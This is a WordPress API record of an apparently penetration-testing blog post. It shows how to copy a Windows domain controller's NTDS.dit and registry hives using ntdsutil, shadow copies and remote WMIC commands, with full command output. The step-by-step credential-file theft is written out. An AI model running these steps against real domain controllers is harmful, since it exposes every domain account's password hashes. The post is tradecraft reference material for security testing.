{"id":1218,"date":"2019-01-07T16:28:24","date_gmt":"2019-01-07T22:28:24","guid":{"rendered":"http:\/\/www.jedge.com\/wordpress\/?p=1218"},"modified":"2019-01-07T18:28:46","modified_gmt":"2019-01-08T00:28:46","slug":"obtaining-domain-controller-password-hashes","status":"publish","type":"post","link":"https:\/\/www.jedge.com\/wordpress\/2019\/01\/obtaining-domain-controller-password-hashes\/","title":{"rendered":"Obtaining Domain Controller Password Hashes"},"content":{"rendered":"<p>I have referred to the following bookmarked URL in the past as a reminder on how to easily obtain the NTDS.dit and SYSTEM registry for analysis.<br \/>\n<strong>Obtaining NTDS.Dit Using In-Built Windows Commands<\/strong><br \/>\n<a target=\"_blank\" href=\"https:\/\/www.cyberis.co.uk\/2014\/02\/obtaining-ntdsdit-using-in-built.html\">https:\/\/www.cyberis.co.uk\/2014\/02\/obtaining-ntdsdit-using-in-built.html<\/a><br \/>\nI revisit this URL and document additional ways to obtain NTDS.dit and the Windows Registry files but also how to extract the password hashes.  Additional methods on obtaining the password hashes from the Domain Controller will also be listed.<br \/>\n<!--more--><br \/>\nOne item I would change about the commands provided is I would combine them to run as one long command<pre><code>\nC:\\ntdsutil \u201cactivate instance ntds\u201d ifm \u201ccreate full c:\\temp\u201d quit quit\n<\/code><\/pre><br \/>\nThis would place a backup of the NTDS.dit and the SYSTEM and SECURITY registry files in <kbd>C:\\temp\\Active Directory<\/kbd> and <kbd>C:\\temp\\registry<\/kbd><\/p>\n<p>From this bookmark I will document all the ways I have obtained the password hashes from a Domain Controller.<br \/>\n<strong>More ntdsutil<\/strong><br \/>\nYou can use ntdsutil to determine if there has been a previous snapshot created. If a snapshot exists then the shadow volume can be mounted and the NTDS.dit and registry files copied.<pre><code>C:\\Users\\Administrator&gt;ntdsutil snapshot &quot;list all&quot;\nntdsutil: snapshot\nsnapshot: list all\n 1: 2019\/01\/02:21:40 {ff29f1b4-5dac-41cd-a592-10c553595a95}\n 2:&nbsp;&nbsp; C: {29e45139-0e71-47eb-a48f-2e6848d05908}<\/code><\/pre>Lets query the registry to identify where NTDS.dit is located.  Then mount the snapshot and copy NTDS.dit and the system&#8217;s registry files.<pre><code>C:\\Users\\Administrator&gt;reg query hklm\\system\\currentcontrolset\\services\\ntds\\parameters\n\nHKEY_LOCAL_MACHINE\\system\\currentcontrolset\\services\\ntds\\parameters\n. . . SNIP . . .\nName,CN=Sites,CN=Configuration,DC=corp,DC=jedge,DC=com\n&nbsp;&nbsp;&nbsp;&nbsp;DsaOptions&nbsp;&nbsp;&nbsp;&nbsp;REG_SZ&nbsp;&nbsp;&nbsp;&nbsp;1\n&nbsp;&nbsp;&nbsp;&nbsp;DSA Working Directory&nbsp;&nbsp;&nbsp;&nbsp;REG_SZ&nbsp;&nbsp;&nbsp;&nbsp;C:\\Windows\\NTDS\n&nbsp;&nbsp;&nbsp;&nbsp;DSA Database file&nbsp;&nbsp;&nbsp;&nbsp;REG_SZ&nbsp;&nbsp;&nbsp;&nbsp;C:\\Windows\\NTDS\\ntds.dit\n&nbsp;&nbsp;&nbsp;&nbsp;Database backup path&nbsp;&nbsp;&nbsp;&nbsp;REG_SZ&nbsp;&nbsp;&nbsp;&nbsp;C:\\Windows\\NTDS\\dsadata.bak\n. . . SNIP . . .\n\nC:\\Users\\Administrator&gt;ntdsutil snapshot &quot;mount {29e45139-0e71-47eb-a48f-2e6848d05908}&quot;\nntdsutil: snapshot\nsnapshot: mount {29e45139-0e71-47eb-a48f-2e6848d05908}\nSnapshot {29e45139-0e71-47eb-a48f-2e6848d05908} mounted as C:\\$SNAP_201901022140_VOLUMEC$\\\n\nC:\\Users\\Administrator&gt;copy C:\\$SNAP_201901022140_VOLUMEC$\\Windows\\NTDS\\ntds.dit c:\\temp\\ntds.dit\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 file(s) copied.\n\nC:\\Users\\Administrator&gt;copy C:\\$SNAP_201901022140_VOLUMEC$\\Windows\\System32\\Config\\SYSTEM c:\\temp\\SYSTEM\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 file(s) copied.\n\nC:\\Users\\Administrator&gt;copy C:\\$SNAP_201901022140_VOLUMEC$\\Windows\\System32\\Config\\SECURITY c:\\temp\\SECURITY\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 file(s) copied.\n<\/code><\/pre><br \/>\n<strong>VSSADMIN over WMIC<\/strong><\/p>\n<p><a target=\"_blank\" href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/vssadmin\">https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/vssadmin<\/a><br \/>\n<a target=\"_blank\" href=https:\/\/docs.microsoft.com\/en-us\/windows\/desktop\/wmisdk\/wmic\">https:\/\/docs.microsoft.com\/en-us\/windows\/desktop\/wmisdk\/wmic<\/a><br \/>\nWe will need to read the output of the WMIC commands and access the files we copy from the shadow volumn so we mount the Domain Controller hard disk and create a temp folder.<pre><code>C:\\Users\\Administrator&gt;net use \\\\192.168.50.10\\C$ &quot;Password5&quot; \/u:CORP\\administrator\nThe command completed successfully.\n\nC:\\Users\\Administrator&gt;mkdir \\\\192.168.50.10\\C$\\temp\nA subdirectory or file \\\\192.168.50.10\\C$\\temp already exists.<\/code><\/pre><br \/>\nWe use the WMIC command to identify any existing shadow volumns or create our own so we can copy the NTDS.dit and registry files to the temp folder where we can transfer them to our workstation.<pre><code>C:\\Users\\Administrator&gt;wmic \/node:192.168.50.10 \/user:CORP\\Administrator \/password:Password5 process call create &quot;cmd \/c vssadmin list shadows 2&gt;&amp;1 &gt; C:\\temp\\checkshadow.txt&quot;\nExecuting (Win32_Process)-&gt;Create()\nMethod execution successful.\nOut Parameters:\ninstance of __PARAMETERS\n{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessId = 2568;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReturnValue = 0;\n};\n\nC:\\Users\\Administrator&gt;type \\\\192.168.50.10\\C$\\temp\\checkshadow.txt\nvssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool\n(C) Copyright 2001-2005 Microsoft Corp.\n\nContents of shadow copy set ID: {ff29f1b4-5dac-41cd-a592-10c553595a95}\n&nbsp;&nbsp; Contained 1 shadow copies at creation time: 1\/2\/2019 9:40:13 PM\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shadow Copy ID: {29e45139-0e71-47eb-a48f-2e6848d05908}\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Original Volume: (C:)\\\\?\\Volume{874968c4-ed3a-11e6-bee8-806e6f6e6963}\\\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Shadow Copy Volume: \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Originating Machine: WIN-PJ59SLGOBUG.corp.jedge.com\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Service Machine: WIN-PJ59SLGOBUG.corp.jedge.com\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Provider: &#039;Microsoft Software Shadow Copy provider 1.0&#039;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type: ApplicationRollback\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Attributes: Persistent, No auto release, Differential, Exposed locally,\n Auto recovered\n<\/code><\/pre>We have a recent shadow file.  If we did not have a file we would use vssadmin to create one.<pre><code>C:\\Users\\Administrator&gt;wmic \/node:192.168.50.10 \/user:CORP\\Administrator \/password:Password5 process call create &quot;cmd \/c vssadmin create shadow \/for=C: 2&gt;&amp;1 &gt; C:\\temp\\output.txt&quot;\nExecuting (Win32_Process)-&gt;Create()\nMethod execution successful.\nOut Parameters:\ninstance of __PARAMETERS\n{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessId = 2564;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReturnValue = 0;\n};\n\nC:\\Users\\Administrator&gt;type \\\\192.168.50.10\\C$\\temp\\output.txt\nvssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool\n(C) Copyright 2001-2005 Microsoft Corp.\n\nSuccessfully created shadow copy for &#039;C:\\&#039;\n&nbsp;&nbsp;&nbsp;&nbsp;Shadow Copy ID: {3a6b62ff-3e5c-4b86-868c-2e26355d490a}\n&nbsp;&nbsp;&nbsp;&nbsp;Shadow Copy Volume Name: \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy2<\/code><\/pre>We will work with the latest shadow volumn we just created. We will copy the files to the C:\\temp folder which we have already mounted on the attacking host.  From there we can copy them to the host for analysis.\t<pre><code>C:\\Users\\Administrator&gt;wmic \/node:192.168.50.10 \/user:CORP\\Administrator \/password:Password5 process call create &quot;cmd \/c copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy2\\Windows\\System32\\config\\SYSTEM C:\\temp\\SYSTEM.hive 2&gt;&amp;1 &gt; C:\\temp\\output.txt&quot;\nExecuting (Win32_Process)-&gt;Create()\nMethod execution successful.\nOut Parameters:\ninstance of __PARAMETERS\n{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessId = 1248;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReturnValue = 0;\n};\n\nC:\\Users\\Administrator&gt;wmic \/node:192.168.50.10 \/user:CORP\\Administrator \/password:Password5 process call create &quot;cmd \/c copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy2\\Windows\\System32\\config\\SECURITY C:\\temp\\SECURITY.hive 2&gt;&amp;1 &gt; C:\\temp\\output.txt&quot;\nExecuting (Win32_Process)-&gt;Create()\nMethod execution successful.\nOut Parameters:\ninstance of __PARAMETERS\n{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessId = 232;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReturnValue = 0;\n};\n\nC:\\Users\\Administrator&gt;wmic \/node:192.168.50.10 \/user:CORP\\Administrator \/password:Password5 process call create &quot;cmd \/c copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy45\\Windows\\NTDS\\NTDS.dit C:\\temp\\NTDS.dit 2&gt;&amp;1 &gt; C:\\temp\\output.txt&quot;\n\nExecuting (Win32_Process)-&gt;Create()\nMethod execution successful.\nOut Parameters:\ninstance of __PARAMETERS\n{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessId = 1804;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReturnValue = 0;\n};\n\nC:\\Users\\Administrator&gt;dir \\\\192.168.50.10\\C$\\temp\n Volume in drive \\\\192.168.50.10\\C$ has no label.\n Volume Serial Number is 54AC-A84F\n\n Directory of \\\\192.168.50.10\\C$\\temp\n\n01\/07\/2019&nbsp;&nbsp;02:15 PM&nbsp;&nbsp;&nbsp;&nbsp;&lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\n01\/07\/2019&nbsp;&nbsp;02:15 PM&nbsp;&nbsp;&nbsp;&nbsp;&lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;..\n01\/07\/2019&nbsp;&nbsp;01:57 PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 801 checkshadow.txt\n01\/02\/2019&nbsp;&nbsp;09:40 PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;16,793,600 ntds.dit\n01\/07\/2019&nbsp;&nbsp;02:14 PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;44 output.txt\n01\/03\/2019&nbsp;&nbsp;05:56 PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 262,144 SECURITY.hive\n01\/07\/2019&nbsp;&nbsp;02:05 PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8,650,752 SYSTEM.hive\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5 File(s)&nbsp;&nbsp;&nbsp;&nbsp; 25,707,341 bytes\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 Dir(s)&nbsp;&nbsp;12,779,933,696 bytes free<\/code><\/pre><\/p>\n<p>to be continued . . .<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I have referred to the following bookmarked URL in the past as a reminder on how to easily obtain the NTDS.dit and SYSTEM registry for analysis. Obtaining NTDS.Dit Using In-Built Windows Commands https:\/\/www.cyberis.co.uk\/2014\/02\/obtaining-ntdsdit-using-in-built.html I revisit this URL and document additional ways to obtain NTDS.dit and the Windows Registry files but also how to extract the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[167,163],"tags":[182,179,180,181],"class_list":["post-1218","post","type-post","status-publish","format-standard","hentry","category-bookmarks","category-hacking","tag-ntds-dit","tag-ntdsutil","tag-vssadmin","tag-wmic"],"_links":{"self":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/posts\/1218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/comments?post=1218"}],"version-history":[{"count":5,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/posts\/1218\/revisions"}],"predecessor-version":[{"id":1224,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/posts\/1218\/revisions\/1224"}],"wp:attachment":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/media?parent=1218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/categories?post=1218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/tags?post=1218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}